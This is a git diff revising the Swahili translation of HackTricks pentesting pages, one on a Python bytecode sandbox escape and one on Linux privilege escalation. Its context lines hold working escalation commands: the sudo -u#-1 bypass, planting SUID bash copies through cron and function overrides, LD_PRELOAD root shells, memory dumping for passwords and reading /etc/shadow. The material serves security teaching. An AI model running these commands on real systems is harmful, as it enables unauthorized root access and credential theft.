+> Kumbuka kwamba si lazima uiite `__getattribute__`, unaweza kuiita kwa jina fupi zaidi au la ajabu zaidi Unaweza kuelewa sababu nyuma yake kwa kutazama bytecode yake: ```python @@ -93,7 +93,7 @@ Kwa ajili ya kuzalisha nambari inapaswa kuwa rahisi: Sikutumia consts kutokana na kikomo cha urefu. -Kwanza hapa kuna script ya kutusaidia kupata ofset hizo za majina. +Kwanza hapa kuna script ya kutusaidia kupata hizo ofset za majina. ```python from types import CodeType from opcode import opmap @@ -222,7 +222,7 @@ builtins['eval'](builtins['input']()) ### Maelezo ya toleo na opcodes zilizoathiriwa (Python 3.11–3.13) -- CPython bytecode opcodes bado huorodhesha katika `co_consts` na `co_names` tuples kwa kutumia operandi za nambari. Ikiwa mshambuliaji anaweza kulazimisha tuples hizi kuwa tupu (au ndogo kuliko kiashiria cha juu zaidi kinachotumika na bytecode), mfasiri atasoma kumbukumbu za nje ya mipaka kwa ajili ya kiashiria hicho, na kutoa kiashiria cha PyObject kisichokuwa na mpangilio kutoka kwa kumbukumbu ya karibu. OpCodes zinazohusiana zinajumuisha angalau: +- CPython bytecode opcodes bado huorodhesha katika `co_consts` na `co_names` tuples kwa kutumia operandi za nambari. Ikiwa mshambuliaji anaweza kulazimisha tuples hizi kuwa tupu (au ndogo kuliko kiashiria cha juu zaidi kinachotumika na bytecode), mfasiri atasoma kumbukumbu za nje ya mipaka kwa ajili ya kiashiria hicho, na kutoa kiashiria cha PyObject kisichokuwa na mpangilio kutoka kwa kumbukumbu ya karibu. Opcodes zinazohusiana zinajumuisha angalau: - `LOAD_CONST consti` → inasoma `co_consts[consti]`. - `LOAD_NAME namei`, `STORE_NAME`, `DELETE_NAME`, `LOAD_GLOBAL`, `STORE_GLOBAL`, `IMPORT_NAME`, `IMPORT_FROM`, `LOAD_ATTR`, `STORE_ATTR` → inasoma majina kutoka `co_names[...]` (kwa 3.11+ kumbuka `LOAD_ATTR`/`LOAD_GLOBAL` hifadhi bendera za kiashiria katika bit ya chini; kiashiria halisi ni `namei >> 1`). Tazama nyaraka za disassembler kwa maana sahihi kwa kila toleo. [Python dis docs]. - Python 3.11+ ilianzisha caches za kubadilika/inline ambazo zinaongeza entries za siri za `CACHE` kati ya maagizo. Hii haibadilishi primitive ya OOB; inamaanisha tu kwamba ikiwa unaunda bytecode kwa mikono, lazima uhesabu entries hizo za cache unapojenga `co_code`. @@ -272,9 +272,9 @@ print(idx, type(obj), repr(obj)[:80]) ``` Notes - Ili kuchunguza majina badala yake, badilisha `LOAD_CONST` kwa `LOAD_NAME`/`LOAD_GLOBAL`/`LOAD_ATTR` na urekebishe matumizi yako ya stack ipasavyo. -- Tumia `EXTENDED_ARG` au bytes nyingi za `arg` kufikia indexes >255 ikiwa inahitajika. Unapojenga na `dis` kama ilivyo hapo juu, unadhibiti tu byte ya chini; kwa indexes kubwa, jenga bytes za raw mwenyewe au gawanya shambulio hilo kwenye loads nyingi. +- Tumia `EXTENDED_ARG` au bytes nyingi za `arg` kufikia indexes >255 ikiwa inahitajika. Unapojenga na `dis` kama ilivyo hapo juu, unadhibiti tu byte ya chini; kwa indexes kubwa, jenga bytes za raw mwenyewe au gawanya shambulio katika loads nyingi. -### Mchoro wa RCE wa bytecode pekee (co_consts OOB → builtins → eval/input) +### Minimal bytecode-only RCE pattern (co_consts OOB → builtins → eval/input) Mara tu unapokuwa umepata index ya `co_consts` inayorejelea moduli ya builtins, unaweza kujenga upya `eval(input())` bila `co_names` kwa kudhibiti stack: ```python @@ -285,7 +285,7 @@ Mara tu unapokuwa umepata index ya `co_consts` inayorejelea moduli ya builtins, # 3) BINARY_SUBSCR to do builtins["input"] / builtins["eval"], CALL each, and RETURN_VALUE # This pattern is the same idea as the high-level exploit above, but expressed in raw bytecode. ``` -Hii mbinu ni muhimu katika changamoto zinazokupa udhibiti wa moja kwa moja juu ya `co_code` wakati ukilazimisha `co_consts=()` na `co_names=()` (kwa mfano, BCTF 2024 “awpcode”). Inakwepa hila za kiwango cha chanzo na inahifadhi ukubwa wa payload kuwa mdogo kwa kutumia operesheni za bytecode stack na wajenzi wa tuple. +Hii mbinu ni muhimu katika changamoto zinazokupa udhibiti wa moja kwa moja juu ya `co_code` wakati ukilazimisha `co_consts=()` na `co_names=()` (kwa mfano, BCTF 2024 “awpcode”). Inakwepa hila za kiwango cha chanzo na inashikilia ukubwa wa payload kuwa mdogo kwa kutumia operesheni za bytecode stack na wajenzi wa tuple. ### Ukaguzi wa kinga na mipango ya kupunguza hatari kwa sandboxes diff --git a/src/linux-hardening/privilege-escalation/README.md b/src/linux-hardening/privilege-escalation/README.md index f140c32ab..20ce0d206 100644 --- a/src/linux-hardening/privilege-escalation/README.md +++ b/src/linux-hardening/privilege-escalation/README.md @@ -2,11 +2,11 @@ {{#include ../../banners/hacktricks-training.md}} -## Taarifa za Mfumo +## System Information -### Taarifa za OS +### OS info -Hebu tuanze kupata maarifa kuhusu OS inayotembea +Hebu tuanze kupata maarifa kuhusu OS inayotumika ```bash (cat /proc/version || uname -a ) 2>/dev/null lsb_release -a 2>/dev/null # old, not by default on many systems @@ -14,7 +14,7 @@ cat /etc/os-release 2>/dev/null # universal on modern systems ``` ### Path -Ikiwa una **idhini za kuandika kwenye folda yoyote ndani ya mabadiliko ya `PATH`** unaweza kuwa na uwezo wa kuingilia baadhi ya maktaba au binaries: +Ikiwa una **idhini za kuandika kwenye folda yoyote ndani ya mabadiliko ya `PATH`** unaweza kuwa na uwezo wa kuiba baadhi ya maktaba au binaries: ```bash echo $PATH ``` @@ -26,7 +26,7 @@ Habari za kuvutia, nywila au funguo za API katika mabadiliko ya mazingira? ``` ### Kernel exploits -Angalia toleo la kernel na ikiwa kuna exploit ambayo inaweza kutumika kuongeza mamlaka +Angalia toleo la kernel na ikiwa kuna exploit ambayo inaweza kutumika kuongeza mamlaka. ```bash cat /proc/version uname -a @@ -59,7 +59,7 @@ https://github.com/evait-security/ClickNRoot/blob/master/1/exploit.c ``` ### Sudo version -Kulingana na toleo la sudo lililo hatarini ambalo linaonekana katika: +Kulingana na toleo la sudo lenye udhaifu ambalo linaonekana katika: ```bash searchsploit sudo ``` @@ -75,7 +75,7 @@ sudo -u#-1 /bin/bash ``` ### Dmesg saini ya uthibitisho imefeli -Angalia **smasher2 box of HTB** kwa **mfano** wa jinsi hii vuln inaweza kutumika. +Angalia **smasher2 box ya HTB** kwa **mfano** wa jinsi hii vuln inaweza kutumika. ```bash dmesg 2>/dev/null | grep "signature" ``` @@ -86,7 +86,7 @@ date 2>/dev/null #Date lscpu #CPU info lpstat -a 2>/dev/null #Printers info ``` -## Orodha ya ulinzi unaowezekana +## Orodhesha ulinzi unaowezekana ### AppArmor ```bash @@ -150,7 +150,7 @@ Pia, angalia kama **compiler yoyote imewekwa**. Hii ni muhimu ikiwa unahitaji ku ``` ### Programu Zenye Uthibitisho Zilizowekwa -Angalia **toleo la vifurushi na huduma zilizowekwa**. Huenda kuna toleo la zamani la Nagios (kwa mfano) ambalo linaweza kutumika kwa ajili ya kupandisha mamlaka...\ +Angalia **toleo la vifurushi na huduma zilizowekwa**. Huenda kuna toleo la zamani la Nagios (kwa mfano) ambalo linaweza kutumiwa kwa ajili ya kupandisha mamlaka...\ Inapendekezwa kuangalia kwa mikono toleo la programu zinazoshukiwa zaidi zilizowekwa. ```bash dpkg -l #Debian @@ -168,18 +168,18 @@ ps aux ps -ef top -n 1 ``` -Daima angalia kwa [**electron/cef/chromium debuggers** zinazotembea, unaweza kuzitumia kuboresha mamlaka](electron-cef-chromium-debugger-abuse.md). **Linpeas** inatambua hizo kwa kuangalia parameter `--inspect` ndani ya mistari ya amri ya mchakato.\ -Pia **angalia mamlaka yako juu ya binaries za michakato**, labda unaweza kuandika tena mtu. +Daima angalia kwa [**electron/cef/chromium debuggers** zinazotembea, unaweza kuzitumia kuboresha mamlaka](electron-cef-chromium-debugger-abuse.md). **Linpeas** inagundua hizo kwa kuangalia parameter `--inspect` ndani ya mistari ya amri ya mchakato.\ +Pia **angalia mamlaka yako juu ya binaries za michakato**, labda unaweza kuandika tena mtu mwingine. ### Ufuatiliaji wa mchakato -Unaweza kutumia zana kama [**pspy**](https://github.com/DominicBreuker/pspy) kufuatilia michakato. Hii inaweza kuwa muhimu sana kutambua michakato dhaifu inayotekelezwa mara kwa mara au wakati seti ya mahitaji inakutana. +Unaweza kutumia zana kama [**pspy**](https://github.com/DominicBreuker/pspy) kufuatilia michakato. Hii inaweza kuwa ya manufaa sana kutambua michakato dhaifu inayotekelezwa mara kwa mara au wakati seti ya mahitaji inakamilishwa. ### Kumbukumbu ya mchakato -Huduma zingine za seva huhifadhi **nyaraka wazi ndani ya kumbukumbu**.\ -Kwa kawaida utahitaji **mamlaka ya root** kusoma kumbukumbu za michakato zinazomilikiwa na watumiaji wengine, kwa hivyo hii kwa kawaida ni muhimu zaidi unapokuwa tayari root na unataka kugundua nyaraka zaidi.\ -Hata hivyo, kumbuka kwamba **kama mtumiaji wa kawaida unaweza kusoma kumbukumbu za michakato unayomiliki**. +Huduma zingine za seva huhifadhi **nyaraka kwa maandiko wazi ndani ya kumbukumbu**.\ +Kwa kawaida utahitaji **mamlaka ya root** kusoma kumbukumbu za michakato zinazomilikiwa na watumiaji wengine, kwa hivyo hii kwa kawaida ni ya manufaa zaidi unapokuwa tayari root na unataka kugundua nyaraka zaidi.\ +Hata hivyo, kumbuka kwamba **kama mtumiaji wa kawaida unaweza kusoma kumbukumbu za michakato unazomiliki**. > [!WARNING] > Kumbuka kwamba siku hizi mashine nyingi **haziruhusu ptrace kwa default** ambayo inamaanisha huwezi kutupa michakato mingine inayomilikiwa na mtumiaji wako asiye na mamlaka. @@ -189,7 +189,7 @@ Hata hivyo, kumbuka kwamba **kama mtumiaji wa kawaida unaweza kusoma kumbukumbu > - **kernel.yama.ptrace_scope = 0**: michakato yote inaweza kufuatiliwa, mradi tu zina uid sawa. Hii ndiyo njia ya kawaida jinsi ptracing ilivyofanya kazi. > - **kernel.yama.ptrace_scope = 1**: mchakato wa mzazi tu unaweza kufuatiliwa. > - **kernel.yama.ptrace_scope = 2**: Ni admin tu anayeweza kutumia ptrace, kwani inahitaji uwezo wa CAP_SYS_PTRACE. -> - **kernel.yama.ptrace_scope = 3**: Hakuna michakato inayoweza kufuatiliwa kwa ptrace. Mara ikisetwa, inahitajika kuanzisha upya ili kuwezesha ptracing tena. +> - **kernel.yama.ptrace_scope = 3**: Hakuna michakato inayoweza kufuatiliwa kwa ptrace. Mara ikipangwa, upya unahitajika ili kuwezesha ptracing tena. #### GDB @@ -215,7 +215,7 @@ done ``` #### /proc/$pid/maps & /proc/$pid/mem -Kwa kitambulisho cha mchakato kilichotolewa, **ramani zinaonyesha jinsi kumbukumbu inavyopangwa ndani ya nafasi ya anwani ya virtual ya mchakato huo**; pia inaonyesha **idhini za kila eneo lililopangwa**. Faili ya pseudo **mem inafichua kumbukumbu ya mchakato yenyewe**. Kutoka kwenye faili ya **ramani** tunajua ni zipi **sehemu za kumbukumbu zinazoweza kusomwa** na offsets zao. Tunatumia taarifa hii **kutafuta ndani ya faili ya mem na kutupa maeneo yote yanayoweza kusomwa** kwenye faili. +Kwa kitambulisho cha mchakato kilichotolewa, **ramani zinaonyesha jinsi kumbukumbu inavyopangwa ndani ya nafasi ya anwani ya mchakato huo**; pia inaonyesha **idhini za kila eneo lililopangwa**. Faili ya pseudo **mem inafichua kumbukumbu ya michakato yenyewe**. Kutoka kwenye faili la **ramani** tunajua ni **mikoa ya kumbukumbu gani zinazoweza kusomwa** na offsets zao. Tunatumia taarifa hii **kutafuta ndani ya faili la mem na kutupa mikoa yote inayoweza kusomwa** kwenye faili. ```bash procdump() ( @@ -281,7 +281,7 @@ Ikiwa unapata kwamba mchakato wa uthibitishaji unafanya kazi: ps -ef | grep "authenticator" root 2027 2025 0 11:46 ? 00:00:00 authenticator ``` -Unaweza kutoa mchakato (angalia sehemu za awali ili kupata njia tofauti za kutoa kumbukumbu ya mchakato) na kutafuta hati za kuingia ndani ya kumbukumbu: +Unaweza kutoa mchakato (angalia sehemu za awali ili kupata njia tofauti za kutoa kumbukumbu ya mchakato) na kutafuta akreditivu ndani ya kumbukumbu: ```bash ./dump-memory.sh 2027 strings *.dump | grep -i password @@ -295,9 +295,9 @@ Chombo [**https://github.com/huntergregal/mimipenguin**](https://github.com/hunt | Nywila ya GDM (Kali Desktop, Debian Desktop) | gdm-password | | Gnome Keyring (Ubuntu Desktop, ArchLinux Desktop) | gnome-keyring-daemon | | LightDM (Ubuntu Desktop) | lightdm | -| VSFTPd (Mawasiliano ya FTP Yanayoendelea) | vsftpd | -| Apache2 (Mikutano ya HTTP Basic Auth Yanayoendelea)| apache2 | -| OpenSSH (Mikutano ya SSH Yanayoendelea - Matumizi ya Sudo) | sshd: | +| VSFTPd (Mawasiliano ya FTP Yaliyopo) | vsftpd | +| Apache2 (Mawasiliano ya HTTP Basic Auth Yaliyopo) | apache2 | +| OpenSSH (Mawasiliano ya SSH Yaliyopo - Matumizi ya Sudo) | sshd: | #### Search Regexes/[truffleproc](https://github.com/controlplaneio/truffleproc) ```bash @@ -356,13 +356,13 @@ echo 'cp /bin/bash /tmp/bash; chmod +s /tmp/bash' > #Wait until it is executed /tmp/bash -p ``` -Ikiwa script inayotekelezwa na root inatumia **directory ambapo una ufaccess kamili**, huenda ikawa na manufaa kufuta folda hiyo na **kuunda folda ya symlink kwa nyingine** inayohudumia script inayodhibitiwa na wewe +Ikiwa skripti inayotekelezwa na root inatumia **directory ambapo una ufikiaji kamili**, huenda ikawa na manufaa kufuta folda hiyo na **kuunda folda ya symlink kwa nyingine** inayohudumia skripti inayodhibitiwa na wewe. ```bash ln -d -s ``` ### Kazi za cron za mara kwa mara -Unaweza kufuatilia michakato ili kutafuta michakato inayotekelezwa kila dakika 1, 2 au 5. Huenda unaweza kuchukua faida yake na kupandisha mamlaka. +Unaweza kufuatilia michakato ili kutafuta michakato inayotekelezwa kila dakika 1, 2 au 5. Huenda unaweza kutumia fursa hii na kupandisha mamlaka. Kwa mfano, ili **kufuatilia kila 0.1s kwa dakika 1**, **panga kwa amri zilizotekelezwa kidogo** na uondoe amri ambazo zimekuwa zikitekelezwa zaidi, unaweza kufanya: ```bash @@ -380,7 +380,7 @@ Inawezekana kuunda kazi ya cron **kwa kuweka kurudi kwa gari baada ya maoni** (b ### Writable _.service_ files -Angalia kama unaweza kuandika faili zozote za `.service`, ikiwa unaweza, unaweza **kubadilisha** ili **itekeleze** backdoor yako wakati huduma inapo **anzishwa**, **kurejelewa** au **kusitishwa** (labda utahitaji kusubiri hadi mashine ireboot).\ +Angalia kama unaweza kuandika faili zozote za `.service`, ikiwa unaweza, unaweza **kubadilisha** ili **itekeleze** backdoor yako wakati huduma inapo **anzishwa**, **kurejelewa** au **kusitishwa** (labda utahitaji kusubiri hadi mashine irejelewe).\ Kwa mfano, tengeneza backdoor yako ndani ya faili .service na **`ExecStart=/tmp/script.sh`** ### Writable service binaries @@ -393,7 +393,7 @@ Unaweza kuona PATH inayotumika na **systemd** na: ```bash systemctl show-environment ``` -Ikiwa unapata kwamba unaweza **kuandika** katika yoyote ya folda za njia hiyo unaweza kuwa na uwezo wa **kuinua mamlaka**. Unahitaji kutafuta **njia za uhusiano zinazotumika kwenye faili za usanidi wa huduma** kama: +Ikiwa utagundua kuwa unaweza **kuandika** katika yoyote ya folda za njia hiyo unaweza kuwa na uwezo wa **kuinua mamlaka**. Unahitaji kutafuta **njia za jamaa zinazotumika kwenye faili za usanidi wa huduma** kama: ```bash ExecStart=faraday-server ExecStart=/bin/sh -ec 'ifup --allow=hotplug %I; ifquery --state %I' @@ -405,7 +405,7 @@ Kisha, tengeneza **executable** yenye **jina sawa na njia ya binary** ndani ya f ## **Timers** -**Timers** ni faili za kitengo cha systemd ambazo jina lake linamalizika kwa `**.timer**` ambazo zinadhibiti faili za `**.service**` au matukio. **Timers** zinaweza kutumika kama mbadala wa cron kwani zina msaada wa ndani kwa matukio ya wakati wa kalenda na matukio ya wakati wa monotonic na zinaweza kuendeshwa kwa njia isiyo ya sambamba. +**Timers** ni faili za kitengo cha systemd ambazo jina lake linamalizika na `**.timer**` ambazo zinadhibiti faili za `**.service**` au matukio. **Timers** zinaweza kutumika kama mbadala wa cron kwani zina msaada wa ndani kwa matukio ya wakati wa kalenda na matukio ya wakati wa monotonic na zinaweza kuendeshwa kwa njia isiyo ya sambamba. Unaweza kuorodhesha timers zote kwa: ```bash @@ -417,14 +417,14 @@ Ikiwa unaweza kubadilisha timer unaweza kufanya iweze kutekeleza baadhi ya matuk ```bash Unit=backdoor.service ``` -Katika hati unaweza kusoma kuhusu nini Unit ni: +Katika hati unaweza kusoma kuhusu kile ambacho Unit ni: > Kitengo cha kuamsha wakati kipima muda hiki kinapokamilika. Hoja ni jina la kitengo, ambacho kiambishi chake si ".timer". Ikiwa hakijasemwa, thamani hii inarudi kwa huduma ambayo ina jina sawa na kitengo cha kipima muda, isipokuwa kwa kiambishi. (Tazama hapo juu.) Inapendekezwa kwamba jina la kitengo linaloamshwa na jina la kitengo cha kipima muda liwe sawa, isipokuwa kwa kiambishi. Kwa hivyo, ili kutumia ruhusa hii unahitaji: -- Kupata kitengo fulani cha systemd (kama `.service`) ambacho kina **kikimbia binary inayoweza kuandikwa** -- Kupata kitengo fulani cha systemd ambacho kina **kikimbia njia ya uhusiano** na una **ruhusa za kuandika** juu ya **PATH ya systemd** (ili kujifanya kuwa executable hiyo) +- Kupata kitengo fulani cha systemd (kama `.service`) ambacho kina **kikimbia binari inayoweza kuandikwa** +- Kupata kitengo fulani cha systemd ambacho kina **kikimbia njia ya uhusiano** na una **ruhusa za kuandika** juu ya **PATH ya systemd** (ili kujifanya kuwa hiyo executable) **Jifunze zaidi kuhusu vipima muda na `man systemd.timer`.** @@ -445,10 +445,10 @@ Sockets zinaweza kuundwa kwa kutumia faili za `.socket`. **Jifunze zaidi kuhusu sockets na `man systemd.socket`.** Ndani ya faili hii, vigezo kadhaa vya kuvutia vinaweza kuundwa: -- `ListenStream`, `ListenDatagram`, `ListenSequentialPacket`, `ListenFIFO`, `ListenSpecial`, `ListenNetlink`, `ListenMessageQueue`, `ListenUSBFunction`: Chaguzi hizi ni tofauti lakini muhtasari unatumiwa ku **onyesha wapi itasikiliza** socket (njia ya faili la socket la AF_UNIX, nambari ya IPv4/6 na/au nambari ya bandari ya kusikiliza, nk.) -- `Accept`: Inachukua hoja ya boolean. Ikiwa **kweli**, **kigezo cha huduma kinazaliwa kwa kila muunganisho unaokuja** na socket ya muunganisho pekee inapitishwa kwake. Ikiwa **uongo**, sockets zote zinazokisikiliza zenyewe zinapitishwa kwa **kitengo cha huduma kilichozinduliwa**, na kitengo kimoja cha huduma kinazaliwa kwa muunganisho wote. Thamani hii inapuuziliwa mbali kwa sockets za datagram na FIFOs ambapo kitengo kimoja cha huduma kinashughulikia bila masharti trafiki yote inayokuja. **Inarudiwa kuwa uongo**. Kwa sababu za utendaji, inapendekezwa kuandika daemons mpya tu kwa njia inayofaa kwa `Accept=no`. -- `ExecStartPre`, `ExecStartPost`: Inachukua mistari moja au zaidi ya amri, ambazo zina **tekelezwa kabla** au **baada** ya **sockets**/FIFOs zinazokisikiliza ku **undwa** na kuunganishwa, mtawalia. Token ya kwanza ya mstari wa amri lazima iwe jina la faili la moja kwa moja, kisha ikifuatwa na hoja za mchakato. -- `ExecStopPre`, `ExecStopPost`: Amri za ziada ambazo zina **tekelezwa kabla** au **baada** ya **sockets**/FIFOs zinazokisikiliza ku **fungwa** na kuondolewa, mtawalia. +- `ListenStream`, `ListenDatagram`, `ListenSequentialPacket`, `ListenFIFO`, `ListenSpecial`, `ListenNetlink`, `ListenMessageQueue`, `ListenUSBFunction`: Chaguzi hizi ni tofauti lakini muhtasari unatumiwa ku **onyesha wapi itasikiliza** socket (njia ya faili la socket la AF_UNIX, IPv4/6 na/au nambari ya bandari ya kusikiliza, nk.) +- `Accept`: Inachukua hoja ya boolean. Ikiwa **kweli**, **kigezo cha huduma kinazaliwa kwa kila muunganisho unaokuja** na socket ya muunganisho pekee inapitishwa kwake. Ikiwa **uongo**, sockets zote zinazolisikiliza zenyewe zinapitishwa kwa **kitengo cha huduma kilichozinduliwa**, na kitengo kimoja cha huduma kinazaliwa kwa muunganisho wote. Thamani hii inapuuziliwa mbali kwa sockets za datagram na FIFOs ambapo kitengo kimoja cha huduma kinashughulikia bila masharti trafiki yote inayokuja. **Inarudiwa kuwa uongo**. Kwa sababu za utendaji, inapendekezwa kuandika daemons mpya tu kwa njia inayofaa kwa `Accept=no`. +- `ExecStartPre`, `ExecStartPost`: Inachukua mistari moja au zaidi ya amri, ambazo zina **tekelezwa kabla** au **baada** ya **sockets**/FIFOs zinazolisikiliza ku **undwa** na kuunganishwa, mtawalia. Token ya kwanza ya mstari wa amri lazima iwe jina la faili la moja kwa moja, kisha ikifuatwa na hoja za mchakato. +- `ExecStopPre`, `ExecStopPost`: Amri za ziada ambazo zina **tekelezwa kabla** au **baada** ya **sockets**/FIFOs zinazolisikiliza ku **fungwa** na kuondolewa, mtawalia. - `Service`: Inaelezea jina la **kitengo cha huduma** **kuanzisha** kwenye **trafiki inayokuja**. Mpangilio huu unaruhusiwa tu kwa sockets zenye Accept=no. Inarudi kwa huduma ambayo ina jina sawa na socket (ikiwa na kiambishi kilichobadilishwa). Katika hali nyingi, haitakuwa lazima kutumia chaguo hili. ### Writable .socket files @@ -481,7 +481,7 @@ socket-command-injection.md ### Soketi za HTTP -Kumbuka kwamba kunaweza kuwa na **soketi zinazotafakari maombi ya HTTP** (_Sizungumzii kuhusu faili za .socket bali faili zinazofanya kazi kama soketi za unix_). Unaweza kuangalia hii kwa: +Kumbuka kwamba kunaweza kuwa na **soketi zinazotafuta maombi ya HTTP** (_Sizungumzii kuhusu faili za .socket bali faili zinazofanya kazi kama soketi za unix_). Unaweza kuangalia hii kwa: ```bash curl --max-time 2 --unix-socket /pat/to/socket/files http:/index ``` @@ -489,7 +489,7 @@ Ikiwa soketi **inas respond na HTTP** ombi, basi unaweza **kuwasiliana** nayo na ### Soketi la Docker Linaloweza Kuandikwa -Soketi la Docker, mara nyingi hupatikana kwenye `/var/run/docker.sock`, ni faili muhimu ambayo inapaswa kulindwa. Kwa kawaida, linaweza kuandikwa na mtumiaji `root` na wanachama wa kundi la `docker`. Kuwa na ufikiaji wa kuandika kwenye soketi hii kunaweza kusababisha kupanda hadhi. Hapa kuna muhtasari wa jinsi hii inaweza kufanywa na mbinu mbadala ikiwa Docker CLI haipatikani. +Soketi la Docker, mara nyingi hupatikana kwenye `/var/run/docker.sock`, ni faili muhimu ambayo inapaswa kulindwa. Kwa kawaida, linaweza kuandikwa na mtumiaji `root` na wanachama wa kundi la `docker`. Kuwa na ufikiaji wa kuandika kwenye soketi hii kunaweza kusababisha kupanda hadhi. Hapa kuna muhtasari wa jinsi hii inaweza kufanyika na mbinu mbadala ikiwa Docker CLI haipatikani. #### **Kupanda Hadhi kwa Kutumia Docker CLI** @@ -562,11 +562,11 @@ runc-privilege-escalation.md ## **D-Bus** -D-Bus ni mfumo wa **mawasiliano kati ya michakato (IPC)** ambao unaruhusu programu kuingiliana kwa ufanisi na kushiriki data. Imeundwa kwa kuzingatia mfumo wa kisasa wa Linux, inatoa muundo thabiti kwa aina mbalimbali za mawasiliano ya programu. +D-Bus ni mfumo wa **Mawasiliano ya Kati ya Mchakato (IPC)** ambao unaruhusu programu kuingiliana kwa ufanisi na kushiriki data. Imeundwa kwa kuzingatia mfumo wa kisasa wa Linux, inatoa muundo thabiti kwa aina tofauti za mawasiliano ya programu. -Mfumo huu ni wa kubadilika, ukisaidia IPC ya msingi inayoboresha ubadilishanaji wa data kati ya michakato, ikikumbusha **sockets za UNIX zilizoboreshwa**. Aidha, inasaidia kutangaza matukio au ishara, ikihamasisha uunganisho usio na mshono kati ya vipengele vya mfumo. Kwa mfano, ishara kutoka kwa daemon ya Bluetooth kuhusu simu inayokuja inaweza kumfanya mpiga muziki akate kelele, kuboresha uzoefu wa mtumiaji. Zaidi ya hayo, D-Bus inasaidia mfumo wa vitu vya mbali, ikirahisisha maombi ya huduma na wito wa mbinu kati ya programu, ikipunguza michakato ambayo hapo awali ilikuwa ngumu. +Mfumo huu ni wa kubadilika, ukisaidia IPC ya msingi inayoboresha ubadilishanaji wa data kati ya michakato, ikikumbusha **sockets za UNIX zilizoboreshwa**. Aidha, inasaidia kutangaza matukio au ishara, ikikuza uunganisho usio na mshono kati ya vipengele vya mfumo. Kwa mfano, ishara kutoka kwa daemon ya Bluetooth kuhusu simu inayokuja inaweza kumfanya mpiga muziki akate sauti, kuboresha uzoefu wa mtumiaji. Zaidi ya hayo, D-Bus inasaidia mfumo wa vitu vya mbali, ikirahisisha maombi ya huduma na wito wa mbinu kati ya programu, ikipunguza michakato ambayo hapo awali ilikuwa ngumu. -D-Bus inafanya kazi kwa **mfumo wa ruhusa/zuia**, ikisimamia ruhusa za ujumbe (wito wa mbinu, utoaji wa ishara, n.k.) kulingana na athari ya jumla ya sheria za sera zinazolingana. Sera hizi zinaelezea mwingiliano na basi, na inaweza kuruhusu kupandisha mamlaka kupitia unyakuzi wa ruhusa hizi. +D-Bus inafanya kazi kwa **mfano wa ruhusa/kuzuia**, ikisimamia ruhusa za ujumbe (wito wa mbinu, utoaji wa ishara, nk.) kulingana na athari ya jumla ya sheria za sera zinazolingana. Sera hizi zinaelezea mwingiliano na basi, na inaweza kuruhusu kupandisha mamlaka kupitia unyakuzi wa ruhusa hizi. Mfano wa sera kama hiyo katika `/etc/dbus-1/system.d/wpa_supplicant.conf` unapatikana, ukielezea ruhusa za mtumiaji wa root kumiliki, kutuma, na kupokea ujumbe kutoka `fi.w1.wpa_supplicant1`. @@ -629,7 +629,7 @@ timeout 1 tcpdump ### Uainishaji wa Kijenerali -Angalia **nani** ulivyo, ni **haki** gani ulizonazo, ni **watumiaji** gani wako katika mifumo, ni yupi anaweza **kuingia** na ni yupi ana **haki za mzizi:** +Angalia **nani** ulivyo, ni **mamlaka** gani ulizonazo, ni **watumiaji** gani wako katika mifumo, ni yupi anaweza **kuingia** na ni yupi ana **mamlaka ya mzizi:** ```bash #Info about me id || (whoami && groups) 2>/dev/null @@ -694,7 +694,7 @@ Ikiwa hujali kufanya kelele nyingi na `su` na `timeout` binaries zipo kwenye kom ### $PATH -Ikiwa unapata kwamba unaweza **kuandika ndani ya folda fulani ya $PATH**, unaweza kuwa na uwezo wa kupandisha mamlaka kwa **kuunda backdoor ndani ya folda inayoweza kuandikwa** kwa jina la amri fulani ambayo itatekelezwa na mtumiaji tofauti (root kwa kawaida) na ambayo **haitapakiwa kutoka folda ambayo iko kabla** ya folda yako inayoweza kuandikwa katika $PATH. +Ikiwa unapata kwamba unaweza **kuandika ndani ya folda fulani ya $PATH**, unaweza kuwa na uwezo wa kupandisha mamlaka kwa **kuunda backdoor ndani ya folda inayoweza kuandikwa** kwa jina la amri fulani ambayo itatekelezwa na mtumiaji tofauti (root kwa njia bora) na ambayo **haijapakiwa kutoka folda ambayo iko kabla** ya folda yako inayoweza kuandikwa katika $PATH. ### SUDO and SUID @@ -726,19 +726,19 @@ sudo vim -c '!sh' ``` ### SETENV -Hii amri inamruhusu mtumiaji **kuweka mabadiliko ya mazingira** wakati wa kutekeleza kitu: +Hii amri inamruhusu mtumiaji **kuweka variable ya mazingira** wakati wa kutekeleza kitu: ```bash $ sudo -l User waldo may run the following commands on admirer: (ALL) SETENV: /opt/scripts/admin_tasks.sh ``` -Mfano huu, **unaotegemea mashine ya HTB Admirer**, ulikuwa **na udhaifu** wa **PYTHONPATH hijacking** ili kupakia maktaba ya python isiyo na mipaka wakati wa kutekeleza skripti kama root: +Mfano huu, **unaotokana na mashine ya HTB Admirer**, ulikuwa **na udhaifu** wa **PYTHONPATH hijacking** ili kupakia maktaba ya python isiyo na mipaka wakati wa kutekeleza skripti kama root: ```bash sudo PYTHONPATH=/dev/shm/ /opt/scripts/admin_tasks.sh ``` ### Sudo execution bypassing paths -**Jump** kusoma faili nyingine au tumia **symlinks**. Kwa mfano katika faili ya sudoers: _hacker10 ALL= (root) /bin/less /var/log/\*_ +**Jump** kusoma faili nyingine au kutumia **symlinks**. Kwa mfano katika faili la sudoers: _hacker10 ALL= (root) /bin/less /var/log/\*_ ```bash sudo less /var/logs/anything less>:e /etc/shadow #Jump to read other files using privileged less @@ -769,9 +769,9 @@ H technique hii inaweza pia kutumika ikiwa **suid** binary **inaendesha amri nyi ### SUID binary yenye njia ya amri -Ikiwa **suid** binary **inaendesha amri nyingine ikibainisha njia**, basi, unaweza kujaribu **kupeleka kazi** iliyopewa jina kama amri ambayo faili la suid linaita. +Ikiwa **suid** binary **inaendesha amri nyingine ikibainisha njia**, basi, unaweza kujaribu **kutoa kazi** iliyopewa jina kama amri ambayo faili la suid linaita. -Kwa mfano, ikiwa binary ya suid inaita _**/usr/sbin/service apache2 start**_ unapaswa kujaribu kuunda kazi hiyo na kupeleka: +Kwa mfano, ikiwa binary ya suid inaita _**/usr/sbin/service apache2 start**_ unapaswa kujaribu kuunda kazi hiyo na kuisafirisha: ```bash function /usr/sbin/service() { cp /bin/bash /tmp && chmod +s /tmp/bash && /tmp/bash -p; } export -f /usr/sbin/service @@ -809,7 +809,7 @@ Kisha **jenga** kwa kutumia: cd /tmp gcc -fPIC -shared -o pe.so pe.c -nostartfiles ``` -Hatimaye, **panda mamlaka** ukikimbia +Hatimaye, **escalate privileges** running ```bash sudo LD_PRELOAD=./pe.so #Use any command you can run with sudo ``` @@ -842,7 +842,7 @@ strace 2>&1 | grep -i -E "open|access|no such file" ``` Kwa mfano, kukutana 